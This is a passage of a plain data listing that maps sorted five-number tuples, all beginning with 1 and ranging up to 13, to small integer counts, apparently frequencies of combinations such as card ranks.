(1, 2, 3, 3, 10): 10,
(1, 2, 3, 3, 11): 6,
(1, 2, 3, 3, 12): 19,
(1, 2, 3, 3, 13): 6,
(1, 2, 3, 4, 4): 9,
(1, 2, 3, 4, 5): 14,
(1, 2, 3, 4, 6): 19,
(1, 2, 3, 4, 7): 21,
(1, 2, 3, 4, 8): 22,
(1, 2, 3, 4, 9): 23,
(1, 2, 3, 4, 10): 24,
(1, 2, 3, 4, 11): 26,
(1, 2, 3, 4, 12): 23,
(1, 2, 3, 4, 13): 26,
(1, 2, 3, 5, 5): 9,
(1, 2, 3, 5, 6): 21,
(1, 2, 3, 5, 7): 19,
(1, 2, 3, 5, 8): 18,
(1, 2, 3, 5, 9): 17,
(1, 2, 3, 5, 10): 18,
(1, 2, 3, 5, 11): 18,
(1, 2, 3, 5, 12): 26,
(1, 2, 3, 5, 13): 18,
(1, 2, 3, 6, 6): 15,
(1, 2, 3, 6, 7): 28,
(1, 2, 3, 6, 8): 15,
(1, 2, 3, 6, 9): 26,
(1, 2, 3, 6, 10): 16,
(1, 2, 3, 6, 11): 25,
(1, 2, 3, 6, 12): 35,
(1, 2, 3, 6, 13): 21,
(1, 2, 3, 7, 7): 11,
(1, 2, 3, 7, 8): 21,
(1, 2, 3, 7, 9): 14,
(1, 2, 3, 7, 10): 25,
(1, 2, 3, 7, 11): 16,
(1, 2, 3, 7, 12): 26,
(1, 2, 3, 7, 13): 16,
(1, 2, 3, 8, 8): 7,
(1, 2, 3, 8, 9): 24,
(1, 2, 3, 8, 10): 20,
(1, 2, 3, 8, 11): 18,
(1, 2, 3, 8, 12): 15,
(1, 2, 3, 8, 13): 16,
(1, 2, 3, 9, 9): 14,
(1, 2, 3, 9, 10): 21,
(1, 2, 3, 9, 11): 15,
(1, 2, 3, 9, 12): 23,
(1, 2, 3, 9, 13): 16,
(1, 2, 3, 10, 10): 8,
(1, 2, 3, 10, 11): 14,
(1, 2, 3, 10, 12): 16,
(1, 2, 3, 10, 13): 13,
(1, 2, 3, 11, 11): 8,
(1, 2, 3, 11, 12): 21,
(1, 2, 3, 11, 13): 11,
(1, 2, 3, 12, 12): 15,
(1, 2, 3, 12, 13): 18,
(1, 2, 3, 13, 13): 5,
(1, 2, 4, 4, 4): 4,
(1, 2, 4, 4, 5): 9,
(1, 2, 4, 4, 6): 18,
(1, 2, 4, 4, 7): 9,
(1, 2, 4, 4, 8): 12,
(1, 2, 4, 4, 9): 10,
(1, 2, 4, 4, 10): 12,
(1, 2, 4, 4, 11): 11,
(1, 2, 4, 4, 12): 19,
(1, 2, 4, 4, 13): 9,
(1, 2, 4, 5, 5): 11,
(1, 2, 4, 5, 6): 22,
(1, 2, 4, 5, 7): 24,
(1, 2, 4, 5, 8): 15,
(1, 2, 4, 5, 9): 18,
(1, 2, 4, 5, 10): 20,
(1, 2, 4, 5, 11): 23,
(1, 2, 4, 5, 12): 20,
(1, 2, 4, 5, 13): 21,
(1, 2, 4, 6, 6): 13,
(1, 2, 4, 6, 7): 33,
(1, 2, 4, 6, 8): 25,
(1, 2, 4, 6, 9): 17,
(1, 2, 4, 6, 10): 26,
(1, 2, 4, 6, 11): 16,
(1, 2, 4, 6, 12): 30,
(1, 2, 4, 6, 13): 16,
(1, 2, 4, 7, 7): 14,
(1, 2, 4, 7, 8): 19,
(1, 2, 4, 7, 9): 18,
(1, 2, 4, 7, 10): 13,
(1, 2, 4, 7, 11): 15,
(1, 2, 4, 7, 12): 19,
(1, 2, 4, 7, 13): 22,
(1, 2, 4, 8, 8): 10,
(1, 2, 4, 8, 9): 12,
(1, 2, 4, 8, 10): 22,
(1, 2, 4, 8, 11): 16,
(1, 2, 4, 8, 12): 31,
(1, 2, 4, 8, 13): 10,
(1, 2, 4, 9, 9): 9,
(1, 2, 4, 9, 10): 16,
(1, 2, 4, 9, 11): 14,
(1, 2, 4, 9, 12): 15,
(1, 2, 4, 9, 13): 14,
(1, 2, 4, 10, 10): 8,
(1, 2, 4, 10, 11): 15,
(1, 2, 4, 10, 12): 18,
(1, 2, 4, 10, 13): 9,
(1, 2, 4, 11, 11): 7,
(1, 2, 4, 11, 12): 17,
(1, 2, 4, 11, 13): 11,
(1, 2, 4, 12, 12): 14,
(1, 2, 4, 12, 13): 17,
(1, 2, 4, 13, 13): 5,
(1, 2, 5, 5, 5): 2,
(1, 2, 5, 5, 6): 12,
(1, 2, 5, 5, 7): 6,
(1, 2, 5, 5, 8): 9,
(1, 2, 5, 5, 9): 11,
(1, 2, 5, 5, 10): 9,
(1, 2, 5, 5, 11): 5,
(1, 2, 5, 5, 12): 10,
(1, 2, 5, 5, 13): 6,
(1, 2, 5, 6, 6): 10,
(1, 2, 5, 6, 7): 25,
(1, 2, 5, 6, 8): 23,
(1, 2, 5, 6, 9): 26,
(1, 2, 5, 6, 10): 17,
(1, 2, 5, 6, 11): 14,
(1, 2, 5, 6, 12): 15,
(1, 2, 5, 6, 13): 16,
(1, 2, 5, 7, 7): 9,
(1, 2, 5, 7, 8): 18,
(1, 2, 5, 7, 9): 15,
(1, 2, 5, 7, 10): 18,
(1, 2, 5, 7, 11): 8,
(1, 2, 5, 7, 12): 22,
(1, 2, 5, 7, 13): 11,
(1, 2, 5, 8, 8): 5,
(1, 2, 5, 8, 9): 16,
(1, 2, 5, 8, 10): 9,
(1, 2, 5, 8, 11): 14,
(1, 2, 5, 8, 12): 13,
(1, 2, 5, 8, 13): 18,
(1, 2, 5, 9, 9): 6,
(1, 2, 5, 9, 10): 15,
(1, 2, 5, 9, 11): 11,
(1, 2, 5, 9, 12): 21,
(1, 2, 5, 9, 13): 8,
(1, 2, 5, 10, 10): 7,
(1, 2, 5, 10, 11): 16,
(1, 2, 5, 10, 12): 14,
(1, 2, 5, 10, 13): 11,
(1, 2, 5, 11, 11): 4,
(1, 2, 5, 11, 12): 14,
(1, 2, 5, 11, 13): 6,
(1, 2, 5, 12, 12): 7,
(1, 2, 5, 12, 13): 13,
(1, 2, 5, 13, 13): 5,
(1, 2, 6, 6, 6): 4,
(1, 2, 6, 6, 7): 13,
(1, 2, 6, 6, 8): 7,
(1, 2, 6, 6, 9): 17,
(1, 2, 6, 6, 10): 14,
(1, 2, 6, 6, 11): 9,
(1, 2, 6, 6, 12): 13,
(1, 2, 6, 6, 13): 10,
(1, 2, 6, 7, 7): 15,
(1, 2, 6, 7, 8): 28,
(1, 2, 6, 7, 9): 24,
(1, 2, 6, 7, 10): 16,
(1, 2, 6, 7, 11): 15,
(1, 2, 6, 7, 12): 27,
(1, 2, 6, 7, 13): 18,
(1, 2, 6, 8, 8): 9,
(1, 2, 6, 8, 9): 14,
(1, 2, 6, 8, 10): 22,
(1, 2, 6, 8, 11): 18,
(1, 2, 6, 8, 12): 24,
(1, 2, 6, 8, 13): 11,
(1, 2, 6, 9, 9): 11,
(1, 2, 6, 9, 10): 14,
(1, 2, 6, 9, 11): 18,
(1, 2, 6, 9, 12): 20,
(1, 2, 6, 9, 13): 18,
(1, 2, 6, 10, 10): 9,
(1, 2, 6, 10, 11): 14,
(1, 2, 6, 10, 12): 21,
(1, 2, 6, 10, 13): 12,
(1, 2, 6, 11, 11): 4,
(1, 2, 6, 11, 12): 14,
(1, 2, 6, 11, 13): 12,
(1, 2, 6, 12, 12): 19,
(1, 2, 6, 12, 13): 11,
(1, 2, 6, 13, 13): 5,
(1, 2, 7, 7, 7): 4,
(1, 2, 7, 7, 8): 9,
(1, 2, 7, 7, 9): 9,
(1, 2, 7, 7, 10): 10,
(1, 2, 7, 7, 11): 8,
(1, 2, 7, 7, 12): 12,
(1, 2, 7, 7, 13): 10,
(1, 2, 7, 8, 8): 8,
(1, 2, 7, 8, 9): 11,
(1, 2, 7, 8, 10): 15,
(1, 2, 7, 8, 11): 15,
(1, 2, 7, 8, 12): 15,
(1, 2, 7, 8, 13): 16,
(1, 2, 7, 9, 9): 4,
(1, 2, 7, 9, 10): 17,
(1, 2, 7, 9, 11): 15,
(1, 2, 7, 9, 12): 18,
(1, 2, 7, 9, 13): 6,
(1, 2, 7, 10, 10): 5,
(1, 2, 7, 10, 11): 8,
(1, 2, 7, 10, 12): 15,
(1, 2, 7, 10, 13): 17,
(1, 2, 7, 11, 11): 5,
(1, 2, 7, 11, 12): 17,
(1, 2, 7, 11, 13): 7,
(1, 2, 7, 12, 12): 7,
(1, 2, 7, 12, 13): 14,
(1, 2, 7, 13, 13): 3,
(1, 2, 8, 8, 8): 1,
(1, 2, 8, 8, 9): 3,
(1, 2, 8, 8, 10): 10,
(1, 2, 8, 8, 11): 4,
(1, 2, 8, 8, 12): 9,
(1, 2, 8, 8, 13): 4,
(1, 2, 8, 9, 9): 4,
(1, 2, 8, 9, 10): 7,
(1, 2, 8, 9, 11): 7,
(1, 2, 8, 9, 12): 7,
(1, 2, 8, 9, 13): 13,
(1, 2, 8, 10, 10): 5,
(1, 2, 8, 10, 11): 8,
(1, 2, 8, 10, 12): 19,
(1, 2, 8, 10, 13): 6,
(1, 2, 8, 11, 11): 4,
(1, 2, 8, 11, 12): 13,
(1, 2, 8, 11, 13): 11,
(1, 2, 8, 12, 12): 12,
(1, 2, 8, 12, 13): 8,
(1, 2, 8, 13, 13): 6,
(1, 2, 9, 9, 11): 2,
(1, 2, 9, 9, 12): 7,
(1, 2, 9, 9, 13): 7,
(1, 2, 9, 10, 10): 1,
(1, 2, 9, 10, 11): 5,
(1, 2, 9, 10, 12): 9,
(1, 2, 9, 10, 13): 9,
(1, 2, 9, 11, 11): 5,
(1, 2, 9, 11, 12): 12,
(1, 2, 9, 11, 13): 9,
(1, 2, 9, 12, 12): 9,
(1, 2, 9, 12, 13): 12,
(1, 2, 9, 13, 13): 2,
(1, 2, 10, 10, 10): 2,
(1, 2, 10, 10, 11): 3,
(1, 2, 10, 10, 12): 4,
(1, 2, 10, 10, 13): 5,
(1, 2, 10, 11, 11): 3,
(1, 2, 10, 11, 12): 7,
(1, 2, 10, 11, 13): 9,
(1, 2, 10, 12, 12): 6,
(1, 2, 10, 12, 13): 7,
(1, 2, 10, 13, 13): 6,
(1, 2, 11, 11, 11): 2,
(1, 2, 11, 11, 13): 4,
(1, 2, 11, 12, 12): 1,
(1, 2, 11, 12, 13): 5,
(1, 2, 11, 13, 13): 1,
(1, 2, 12, 12, 13): 1,
(1, 2, 12, 13, 13): 3,
(1, 2, 13, 13, 13): 2,
(1, 3, 3, 3, 3): 1,
(1, 3, 3, 3, 4): 5,
(1, 3, 3, 3, 5): 3,
(1, 3, 3, 3, 6): 5,
(1, 3, 3, 3, 7): 3,
(1, 3, 3, 3, 8): 4,
(1, 3, 3, 3, 9): 6,
(1, 3, 3, 3, 10): 3,
(1, 3, 3, 3, 11): 3,
(1, 3, 3, 3, 12): 5,
(1, 3, 3, 3, 13): 2,
(1, 3, 3, 4, 4): 4,
(1, 3, 3, 4, 5): 7,
(1, 3, 3, 4, 6): 8,
(1, 3, 3, 4, 7): 10,
(1, 3, 3, 4, 8): 8,
(1, 3, 3, 4, 9): 12,
(1, 3, 3, 4, 10): 10,
(1, 3, 3, 4, 11): 7,
(1, 3, 3, 4, 12): 16,
(1, 3, 3, 4, 13): 5,
(1, 3, 3, 5, 5): 4,
(1, 3, 3, 5, 6): 20,
(1, 3, 3, 5, 7): 8,
(1, 3, 3, 5, 8): 8,
(1, 3, 3, 5, 9): 7,
(1, 3, 3, 5, 10): 6,
(1, 3, 3, 5, 11): 10,
(1, 3, 3, 5, 12): 15,
(1, 3, 3, 5, 13): 9,
(1, 3, 3, 6, 6): 10,
(1, 3, 3, 6, 7): 19,
(1, 3, 3, 6, 8): 9,
(1, 3, 3, 6, 9): 13,
(1, 3, 3, 6, 10): 11,
(1, 3, 3, 6, 11): 12,
(1, 3, 3, 6, 12): 20,
(1, 3, 3, 6, 13): 16,
(1, 3, 3, 7, 7): 5,
(1, 3, 3, 7, 8): 12,
(1, 3, 3, 7, 9): 9,
(1, 3, 3, 7, 10): 4,
(1, 3, 3, 7, 11): 8,
(1, 3, 3, 7, 12): 13,
(1, 3, 3, 7, 13): 9,
(1, 3, 3, 8, 8): 5,
(1, 3, 3, 8, 9): 10,
(1, 3, 3, 8, 10): 9,
(1, 3, 3, 8, 11): 4,
(1, 3, 3, 8, 12): 8,
(1, 3, 3, 8, 13): 7,
(1, 3, 3, 9, 9): 8,
(1, 3, 3, 9, 10): 8,
(1, 3, 3, 9, 11): 5,
(1, 3, 3, 9, 12): 12,
(1, 3, 3, 9, 13): 10,
(1, 3, 3, 10, 10): 3,
(1, 3, 3, 10, 11): 5,
(1, 3, 3, 10, 12): 8,
(1, 3, 3, 10, 13): 7,
(1, 3, 3, 11, 11): 2,
(1, 3, 3, 11, 12): 7,
(1, 3, 3, 11, 13): 5,
(1, 3, 3, 12, 12): 5,
(1, 3, 3, 12, 13): 12,
(1, 3, 3, 13, 13): 2,
(1, 3, 4, 4, 5): 6,
(1, 3, 4, 4, 6): 10,
(1, 3, 4, 4, 7): 9,
(1, 3, 4, 4, 9): 7,
(1, 3, 4, 4, 10): 12,
(1, 3, 4, 4, 11): 8,
(1, 3, 4, 4, 12): 4,
(1, 3, 4, 4, 13): 7,
(1, 3, 4, 5, 5): 10,
(1, 3, 4, 5, 6): 24,
(1, 3, 4, 5, 7): 18,
(1, 3, 4, 5, 8): 15,
(1, 3, 4, 5, 9): 14,
(1, 3, 4, 5, 10): 16,
(1, 3, 4, 5, 11): 16,
(1, 3, 4, 5, 12): 19,
(1, 3, 4, 5, 13): 9,
(1, 3, 4, 6, 6): 17,
(1, 3, 4, 6, 7): 25,
(1, 3, 4, 6, 8): 24,
(1, 3, 4, 6, 9): 27,
(1, 3, 4, 6, 10): 17,
(1, 3, 4, 6, 11): 21,
(1, 3, 4, 6, 12): 28,
(1, 3, 4, 6, 13): 21,
(1, 3, 4, 7, 7): 13,
(1, 3, 4, 7, 8): 20,
(1, 3, 4, 7, 9): 14,
(1, 3, 4, 7, 10): 18,
(1, 3, 4, 7, 11): 8,
(1, 3, 4, 7, 12): 21,
(1, 3, 4, 7, 13): 9,
(1, 3, 4, 8, 8): 4,
(1, 3, 4, 8, 9): 13,
(1, 3, 4, 8, 10): 17,
(1, 3, 4, 8, 11): 18,
(1, 3, 4, 8, 12): 8,
(1, 3, 4, 8, 13): 19,
(1, 3, 4, 9, 9): 8,
(1, 3, 4, 9, 10): 19,
(1, 3, 4, 9, 11): 10,
(1, 3, 4, 9, 12): 17,
(1, 3, 4, 9, 13): 13,
(1, 3, 4, 10, 10): 6,
(1, 3, 4, 10, 11): 12,
(1, 3, 4, 10, 12): 19,
(1, 3, 4, 10, 13): 12,
(1, 3, 4, 11, 11): 5,
(1, 3, 4, 11, 12): 10,
(1, 3, 4, 11, 13): 11,
(1, 3, 4, 12, 12): 6,
(1, 3, 4, 12, 13): 11,
(1, 3, 4, 13, 13): 8,
(1, 3, 5, 5, 5): 4,
(1, 3, 5, 5, 6): 9,
(1, 3, 5, 5, 7): 7,
(1, 3, 5, 5, 8): 8,
(1, 3, 5, 5, 9): 7,
(1, 3, 5, 5, 10): 7,
(1, 3, 5, 5, 11): 8,
(1, 3, 5, 5, 12): 5,
(1, 3, 5, 5, 13): 6,
(1, 3, 5, 6, 6): 7,
(1, 3, 5, 6, 7): 15,
(1, 3, 5, 6, 8): 15,
(1, 3, 5, 6, 9): 33,
(1, 3, 5, 6, 10): 24,
(1, 3, 5, 6, 11): 10,
(1, 3, 5, 6, 12): 17,
(1, 3, 5, 6, 13): 9,
(1, 3, 5, 7, 7): 8,
(1, 3, 5, 7, 8): 14,
(1, 3, 5, 7, 9): 19,
(1, 3, 5, 7, 10): 15,
(1, 3, 5, 7, 11): 11,
(1, 3, 5, 7, 12): 11,
(1, 3, 5, 7, 13): 13,
(1, 3, 5, 8, 8): 6,
(1, 3, 5, 8, 9): 12,
(1, 3, 5, 8, 10): 11,
(1, 3, 5, 8, 11): 6,
(1, 3, 5, 8, 12): 18,
(1, 3, 5, 8, 13): 11,
(1, 3, 5, 9, 9): 7,
(1, 3, 5, 9, 10): 14,
(1, 3, 5, 9, 11): 14,
(1, 3, 5, 9, 12): 21,
(1, 3, 5, 9, 13): 12,
(1, 3, 5, 10, 10): 10,
(1, 3, 5, 10, 11): 15,
(1, 3, 5, 10, 12): 21,
(1, 3, 5, 10, 13): 10,
(1, 3, 5, 11, 11): 7,
(1, 3, 5, 11, 12): 9,
(1, 3, 5, 11, 13): 6,
(1, 3, 5, 12, 12): 10,
(1, 3, 5, 12, 13): 8,
(1, 3, 5, 13, 13): 5,
(1, 3, 6, 6, 6): 3,
(1, 3, 6, 6, 7): 7,
(1, 3, 6, 6, 8): 13,
(1, 3, 6, 6, 9): 13,
(1, 3, 6, 6, 10): 10,
(1, 3, 6, 6, 11): 7,
(1, 3, 6, 6, 12): 17,
(1, 3, 6, 6, 13): 4,
(1, 3, 6, 7, 7): 6,
(1, 3, 6, 7, 8): 13,
(1, 3, 6, 7, 9): 29,
(1, 3, 6, 7, 10): 22,
(1, 3, 6, 7, 11): 17,
(1, 3, 6, 7, 12): 18,
(1, 3, 6, 7, 13): 9,
(1, 3, 6, 8, 8): 8,
(1, 3, 6, 8, 9): 13,
(1, 3, 6, 8, 10): 15,
(1, 3, 6, 8, 11): 16,
(1, 3, 6, 8, 12): 18,
(1, 3, 6, 8, 13): 16,
(1, 3, 6, 9, 9): 16,
(1, 3, 6, 9, 10): 15,
(1, 3, 6, 9, 11): 19,
(1, 3, 6, 9, 12): 29,
(1, 3, 6, 9, 13): 13,
(1, 3, 6, 10, 10): 7,
(1, 3, 6, 10, 11): 16,
(1, 3, 6, 10, 12): 23,
(1, 3, 6, 10, 13): 14,
(1, 3, 6, 11, 11): 4,
(1, 3, 6, 11, 12): 25,
(1, 3, 6, 11, 13): 10,
(1, 3, 6, 12, 12): 17,
(1, 3, 6, 12, 13): 20,
(1, 3, 6, 13, 13): 1,
(1, 3, 7, 7, 7): 5,
(1, 3, 7, 7, 8): 9,
(1, 3, 7, 7, 9): 10,
(1, 3, 7, 7, 10): 10,
(1, 3, 7, 7, 11): 8,
(1, 3, 7, 7, 12): 11,
(1, 3, 7, 7, 13): 5,
(1, 3, 7, 8, 8): 7,
(1, 3, 7, 8, 9): 17,
(1, 3, 7, 8, 10): 19,
(1, 3, 7, 8, 11): 10,
(1, 3, 7, 8, 12): 14,
(1, 3, 7, 8, 13): 5,
(1, 3, 7, 9, 9): 9,
(1, 3, 7, 9, 10): 16,
(1, 3, 7, 9, 11): 12,
(1, 3, 7, 9, 12): 16,
(1, 3, 7, 9, 13): 12,
(1, 3, 7, 10, 10): 5,
(1, 3, 7, 10, 11): 10,
(1, 3, 7, 10, 12): 19,
(1, 3, 7, 10, 13): 9,
(1, 3, 7, 11, 11): 6,
(1, 3, 7, 11, 12): 9,
(1, 3, 7, 11, 13): 14,
(1, 3, 7, 12, 12): 14,
(1, 3, 7, 12, 13): 13,
(1, 3, 7, 13, 13): 4,
(1, 3, 8, 8, 9): 6,
(1, 3, 8, 8, 10): 9,
(1, 3, 8, 8, 11): 6,
(1, 3, 8, 8, 12): 1,
(1, 3, 8, 8, 13): 6,
(1, 3, 8, 9, 9): 8,
(1, 3, 8, 9, 10): 10,
(1, 3, 8, 9, 11): 5,
(1, 3, 8, 9, 12): 15,
(1, 3, 8, 9, 13): 9,
(1, 3, 8, 10, 10): 5,
(1, 3, 8, 10, 11): 8,
(1, 3, 8, 10, 12): 11,
(1, 3, 8, 10, 13): 13,
(1, 3, 8, 11, 11): 4,
(1, 3, 8, 11, 12): 11,
(1, 3, 8, 11, 13): 5,
(1, 3, 8, 12, 12): 4,
(1, 3, 8, 12, 13): 7,
(1, 3, 8, 13, 13): 2,
(1, 3, 9, 9, 9): 2,
(1, 3, 9, 9, 10): 4,
(1, 3, 9, 9, 11): 4,
(1, 3, 9, 9, 12): 10,
(1, 3, 9, 9, 13): 7,
(1, 3, 9, 10, 10): 1,
(1, 3, 9, 10, 11): 9,
(1, 3, 9, 10, 12): 14,
(1, 3, 9, 10, 13): 11,
(1, 3, 9, 11, 11): 4,
(1, 3, 9, 11, 12): 12,
(1, 3, 9, 11, 13): 7,
(1, 3, 9, 12, 12): 6,
(1, 3, 9, 12, 13): 8,
(1, 3, 9, 13, 13): 2,
(1, 3, 10, 10, 11): 2,
(1, 3, 10, 10, 12): 5,
(1, 3, 10, 10, 13): 3,
(1, 3, 10, 11, 11): 2,
(1, 3, 10, 11, 12): 8,
(1, 3, 10, 11, 13): 6,
(1, 3, 10, 12, 12): 7,
(1, 3, 10, 12, 13): 8,
(1, 3, 10, 13, 13): 4,
(1, 3, 11, 11, 12): 1,
(1, 3, 11, 11, 13): 3,
(1, 3, 11, 12, 12): 1,
(1, 3, 11, 12, 13): 4,
(1, 3, 11, 13, 13): 3,
(1, 3, 12, 12, 12): 1,
(1, 3, 12, 12, 13): 2,
(1, 3, 12, 13, 13): 4,
(1, 3, 13, 13, 13): 2,
(1, 4, 4, 4, 5): 1,
(1, 4, 4, 4, 6): 3,
(1, 4, 4, 4, 7): 1,
(1, 4, 4, 4, 8): 1,
(1, 4, 4, 4, 9): 1,
(1, 4, 4, 4, 10): 4,
(1, 4, 4, 4, 11): 2,
(1, 4, 4, 4, 13): 1,
(1, 4, 4, 5, 5): 4,
(1, 4, 4, 5, 6): 10,
(1, 4, 4, 5, 7): 5,
(1, 4, 4, 5, 8): 7,
(1, 4, 4, 5, 9): 5,
(1, 4, 4, 5, 10): 8,
(1, 4, 4, 5, 11): 4,
(1, 4, 4, 5, 12): 3,
(1, 4, 4, 5, 13): 6,
(1, 4, 4, 6, 6): 4,
(1, 4, 4, 6, 7): 10,
(1, 4, 4, 6, 8): 14,
(1, 4, 4, 6, 9): 8,
(1, 4, 4, 6, 10): 13,
(1, 4, 4, 6, 11): 7,
(1, 4, 4, 6, 12): 13,
(1, 4, 4, 6, 13): 5,
(1, 4, 4, 7, 7): 4,
(1, 4, 4, 7, 8): 7,
(1, 4, 4, 7, 9): 9,
(1, 4, 4, 7, 10): 8,
(1, 4, 4, 7, 11): 9,
(1, 4, 4, 7, 12): 6,
(1, 4, 4, 7, 13): 9,
(1, 4, 4, 8, 8): 2,
(1, 4, 4, 8, 9): 5,
(1, 4, 4, 8, 10): 12,
(1, 4, 4, 8, 11): 6,
(1, 4, 4, 8, 12): 6,
(1, 4, 4, 8, 13): 6,
(1, 4, 4, 9, 9): 4,
(1, 4, 4, 9, 10): 6,
(1, 4, 4, 9, 11): 7,
(1, 4, 4, 9, 12): 8,
(1, 4, 4, 9, 13): 4,
(1, 4, 4, 10, 10): 5,
(1, 4, 4, 10, 11): 7,
(1, 4, 4, 10, 12): 10,
(1, 4, 4, 10, 13): 5,
(1, 4, 4, 11, 11): 2,
(1, 4, 4, 11, 12): 5,
(1, 4, 4, 11, 13): 4,
(1, 4, 4, 12, 13): 4,
(1, 4, 4, 13, 13): 4,
(1, 4, 5, 5, 5): 1,
(1, 4, 5, 5, 6): 5,
(1, 4, 5, 5, 7): 6,
(1, 4, 5, 5, 8): 11,
(1, 4, 5, 5, 9): 3,
(1, 4, 5, 5, 10): 4,
(1, 4, 5, 5, 11): 3,
(1, 4, 5, 5, 12): 7,
(1, 4, 5, 5, 13): 6,
(1, 4, 5, 6, 6): 5,
(1, 4, 5, 6, 7): 11,
(1, 4, 5, 6, 8): 12,
(1, 4, 5, 6, 9): 18,
(1, 4, 5, 6, 10): 13,
(1, 4, 5, 6, 11): 11,
(1, 4, 5, 6, 12): 18,
(1, 4, 5, 6, 13): 14,
(1, 4, 5, 7, 7): 6,
(1, 4, 5, 7, 8): 16,
(1, 4, 5, 7, 9): 10,
(1, 4, 5, 7, 10): 21,
(1, 4, 5, 7, 11): 7,
(1, 4, 5, 7, 12): 15,
(1, 4, 5, 7, 13): 8,
(1, 4, 5, 8, 8): 2,
(1, 4, 5, 8, 9): 15,
(1, 4, 5, 8, 10): 23,
(1, 4, 5, 8, 11): 15,
(1, 4, 5, 8, 12): 10,
(1, 4, 5, 8, 13): 9,
(1, 4, 5, 9, 9): 6,
(1, 4, 5, 9, 10): 15,
(1, 4, 5, 9, 11): 9,
(1, 4, 5, 9, 12): 15,
(1, 4, 5, 9, 13): 8,
(1, 4, 5, 10, 10): 6,
(1, 4, 5, 10, 11): 17,
(1, 4, 5, 10, 12): 23,
(1, 4, 5, 10, 13): 11,
(1, 4, 5, 11, 11): 6,
(1, 4, 5, 11, 12): 13,
(1, 4, 5, 11, 13): 7,
(1, 4, 5, 12, 12): 3,
(1, 4, 5, 12, 13): 7,
(1, 4, 5, 13, 13): 2,
(1, 4, 6, 6, 6): 3,
(1, 4, 6, 6, 7): 4,
(1, 4, 6, 6, 8): 11,
(1, 4, 6, 6, 9): 6,
(1, 4, 6, 6, 10): 8,
(1, 4, 6, 6, 11): 6,
(1, 4, 6, 6, 12): 9,
(1, 4, 6, 6, 13): 6,
(1, 4, 6, 7, 7): 6,
(1, 4, 6, 7, 8): 9,
(1, 4, 6, 7, 9): 17,
(1, 4, 6, 7, 10): 18,
(1, 4, 6, 7, 11): 19,
(1, 4, 6, 7, 12): 19,
(1, 4, 6, 7, 13): 10,
(1, 4, 6, 8, 8): 12,
(1, 4, 6, 8, 9): 15,
(1, 4, 6, 8, 10): 18,
(1, 4, 6, 8, 11): 14,
(1, 4, 6, 8, 12): 19,
(1, 4, 6, 8, 13): 9,
(1, 4, 6, 9, 9): 7,
(1, 4, 6, 9, 10): 16,
(1, 4, 6, 9, 11): 15,
(1, 4, 6, 9, 12): 22,
(1, 4, 6, 9, 13): 11,
(1, 4, 6, 10, 10): 5,
(1, 4, 6, 10, 11): 10,
(1, 4, 6, 10, 12): 25,
(1, 4, 6, 10, 13): 9,
(1, 4, 6, 11, 11): 6,
(1, 4, 6, 11, 12): 16,
(1, 4, 6, 11, 13): 12,
(1, 4, 6, 12, 12): 17,
(1, 4, 6, 12, 13): 10,
(1, 4, 6, 13, 13): 3,
(1, 4, 7, 7, 7): 3,
(1, 4, 7, 7, 8): 11,
(1, 4, 7, 7, 9): 7,
(1, 4, 7, 7, 10): 8,
(1, 4, 7, 7, 11): 7,
(1, 4, 7, 7, 12): 7,
(1, 4, 7, 7, 13): 6,
(1, 4, 7, 8, 8): 4,
(1, 4, 7, 8, 9): 14,
(1, 4, 7, 8, 10): 21,
(1, 4, 7, 8, 11): 12,
(1, 4, 7, 8, 12): 10,
(1, 4, 7, 8, 13): 9,
(1, 4, 7, 9, 9): 8,
(1, 4, 7, 9, 10): 12,
(1, 4, 7, 9, 11): 10,
(1, 4, 7, 9, 12): 21,
(1, 4, 7, 9, 13): 5,
(1, 4, 7, 10, 10): 6,
(1, 4, 7, 10, 11): 10,
(1, 4, 7, 10, 12): 12,
(1, 4, 7, 10, 13): 13,
(1, 4, 7, 11, 11): 1,
(1, 4, 7, 11, 12): 9,
(1, 4, 7, 11, 13): 7,
(1, 4, 7, 12, 12): 7,
(1, 4, 7, 12, 13): 12,
(1, 4, 7, 13, 13): 2,
(1, 4, 8, 8, 8): 1,
(1, 4, 8, 8, 9): 3,
(1, 4, 8, 8, 10): 7,
(1, 4, 8, 8, 11): 4,
(1, 4, 8, 8, 12): 5,
(1, 4, 8, 8, 13): 5,
(1, 4, 8, 9, 9): 3,
(1, 4, 8, 9, 10): 11,
(1, 4, 8, 9, 11): 13,
(1, 4, 8, 9, 12): 6,
(1, 4, 8, 9, 13): 9,
(1, 4, 8, 10, 10): 7,
(1, 4, 8, 10, 11): 7,
(1, 4, 8, 10, 12): 22,
(1, 4, 8, 10, 13): 4,
(1, 4, 8, 11, 11): 4,
(1, 4, 8, 11, 12): 4,
(1, 4, 8, 11, 13): 9,
(1, 4, 8, 12, 12): 3,
(1, 4, 8, 12, 13): 8,
(1, 4, 8, 13, 13): 1,
(1, 4, 9, 9, 10): 3,
(1, 4, 9, 9, 11): 3,
(1, 4, 9, 9, 12): 10,
(1, 4, 9, 9, 13): 4,
(1, 4, 9, 10, 10): 1,
(1, 4, 9, 10, 11): 9,
(1, 4, 9, 10, 12): 11,
(1, 4, 9, 10, 13): 9,
(1, 4, 9, 11, 11): 4,
(1, 4, 9, 11, 12): 12,
(1, 4, 9, 11, 13): 3,
(1, 4, 9, 12, 12): 4,
(1, 4, 9, 12, 13): 5,
(1, 4, 9, 13, 13): 2,
(1, 4, 10, 10, 10): 1,
(1, 4, 10, 10, 11): 3,
(1, 4, 10, 10, 12): 7,
(1, 4, 10, 10, 13): 4,
(1, 4, 10, 11, 11): 2,
(1, 4, 10, 11, 12): 9,
(1, 4, 10, 11, 13): 9,
(1, 4, 10, 12, 12): 5,
(1, 4, 10, 12, 13): 8,
(1, 4, 10, 13, 13): 3,
(1, 4, 11, 11, 11): 1,
(1, 4, 11, 11, 12): 2,
(1, 4, 11, 11, 13): 5,
(1, 4, 11, 12, 12): 3,
(1, 4, 11, 12, 13): 8,
(1, 4, 11, 13, 13): 3,
(1, 4, 12, 12, 12): 1,
(1, 4, 12, 12, 13): 3,
(1, 4, 12, 13, 13): 5,
(1, 4, 13, 13, 13): 3,
(1, 5, 5, 5, 6): 2,
(1, 5, 5, 5, 7): 3,
(1, 5, 5, 5, 8): 4,
(1, 5, 5, 5, 9): 1,
(1, 5, 5, 5, 10): 2,
(1, 5, 5, 5, 11): 1,
(1, 5, 5, 5, 12): 1,
(1, 5, 5, 5, 13): 3,
(1, 5, 5, 6, 6): 4,
(1, 5, 5, 6, 7): 5,
(1, 5, 5, 6, 8): 7,
(1, 5, 5, 6, 9): 2,
(1, 5, 5, 6, 10): 3,
(1, 5, 5, 6, 11): 7,
(1, 5, 5, 6, 12): 13,
(1, 5, 5, 6, 13): 6,
(1, 5, 5, 7, 7): 3,
